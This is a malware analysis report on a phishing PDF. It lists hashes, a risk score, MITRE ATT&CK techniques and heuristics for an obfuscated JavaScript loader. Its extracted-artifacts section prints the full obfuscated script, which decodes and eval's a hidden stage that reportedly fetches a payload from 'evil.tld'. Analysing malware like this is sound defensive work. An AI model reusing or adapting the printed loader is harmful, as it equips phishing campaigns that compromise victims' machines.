Malicious PDF — malware analysis report

Static analysis result for SHA-256 62afaba6a03d1168…

MALICIOUS

PDF

44.7 KB Authoring application: substr First seen: 2026-05-07
MD5: 1f2109bbc4e243918eb3a8592ab6258d SHA-1: 3233098ddff8ca4887328b100acaa8bdd32a86ee SHA-256: 62afaba6a03d116880e900dc1780b8d427194943eb2eaf203b96855b318e875a
86 Risk Score

Malware Insights

MITRE ATT&CK
T1059.007 JavaScript T1566.001 Spearphishing Attachment

The PDF contains obfuscated JavaScript, identified by heuristics as a loader. The script reconstructs a URL from concatenated strings and uses it to fetch and execute a second-stage payload. The reconstructed URL is 'evil.tld'. This indicates a typical downloader pattern often seen in phishing campaigns.

Machine Learning

  • Nyx PDF Classifier malicious score 1.0000

Heuristics 3

  • Obfuscated Pidief-style JavaScript loader (stage not decoded) high CVE related PDF_PIDIEF_OBFUSCATED_VERSION_GATED_LOADER
    PDF JavaScript carries a large opaque encoded stage (a letter-delimited numeric character-code array) that is built to be decoded and eval'd, but no exact Adobe Reader CVE could be attributed because the encoding scheme resisted full static decoding. This is the structural fingerprint of the Pidief / multi-CVE exploit-kit loader family — a version-gated obfuscated JavaScript stage with no benign use. Flagged suspicious on its own; an ML/AV signal or a recovered heap-spray pushes it to malicious.
  • JavaScript action low 1 related finding PDF_JAVASCRIPT
    PDF contains a /JavaScript action. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • Embedded JS stream low PDF_JS
    PDF references a /JS stream. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
javascript_obj0001_000.js pdf-javascript-stream PDF /JS object 1 at offset 0xB000 493 bytes
SHA-256: ac638968194049690fcccc23658e2c1ab0af0970a80c35b9cf82660985f3ad31
Preview script
First 1,000 lines of the extracted script
s2='';
v=producer;
t='le';
b='v';
c='';
a=c.concat('e','|','a',"n","b","w",b,"o");
s=author+a[2]+t[0];
e=v[v]()[s];
hdzw=e(v[4]+'i'.concat(v[4],t));
q=hdzw[v](a.length-7,a.length+1);
d=v[0].toUpperCase()+'tring.f'+'r';
d+='o'+q;
bhef=e(e('d'));
sub=v[0];
sub+='ubject';
q=hdzw[e('v')](t.length+12)[v[0]+e(sub)+'t']('c');
k=q[t[0].concat('eng'+'t'+'h')];
i=t.length-2;
for(;i!==k;){
	cvneg = 1*(q[i]);
	i++;
	cvneg -= (-1)*(q[i]);
	s2 += bhef(cvneg);
	i++;
}
e(s2);

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